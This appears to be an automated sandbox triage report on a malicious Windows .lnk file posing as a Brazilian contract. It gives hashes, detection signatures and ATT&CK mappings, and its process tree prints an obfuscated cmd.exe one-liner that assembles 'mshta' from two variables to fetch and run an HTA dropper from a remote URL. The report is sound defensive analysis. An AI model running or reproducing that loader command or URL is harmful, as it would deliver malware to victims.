31356a5a1c7bb4416c5f0e0be4b221d70c48cfa89d3a9572be2bee8bdd57bb36

Analysis

max time kernel
150s
max time network
158s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 12:43

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General

Target
Contrato_Indeniza_Brasil-HAH6ZG.lnk
Size 1KB
Sample260803-pyc4eaxhnb
SHA256 31356a5a1c7bb4416c5f0e0be4b221d70c48cfa89d3a9572be2bee8bdd57bb36
MD5 75241ee996a2816bbdd4272622588d99
SHA1 54c7ee4afda3fb84227448cb21cdf60ff4f3f886
SHA512 4615d40429d6c7b4e1ed327884bc7426b22785992d4f210246edfd65e0cdbac3579480dbbc304d9cd7adc817d0566c8f1d9ac7d8351d15380d3acc94cccc1d07
TLSH
T1DA3197002AFE0614F3F3DE7A85BFA75059BBB8968E21CA0D4090468C1422E00E57FF77
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

Badlisted process makes network request 12 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	4068	mshta.exe
7	4068	mshta.exe
8	4068	mshta.exe
9	4068	mshta.exe
12	4068	mshta.exe
15	4068	mshta.exe
16	4068	mshta.exe
17	4068	mshta.exe
18	4068	mshta.exe
19	4068	mshta.exe
21	4068	mshta.exe
23	4068	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5832	cmd.exe
5400	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 5832 wrote to memory of 5400	5832	cmd.exe	90
PID 5400 wrote to memory of 4068	5400	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-HAH6ZG.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5832
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /c "set GQOZ=msh&&set dUFD=ta&&start "" !GQOZ!!dUFD! https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5400
- - C:\Windows\System32\mshta.exe
    mshta https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D
    3⤵
    - Badlisted process makes network request
    PID:4068

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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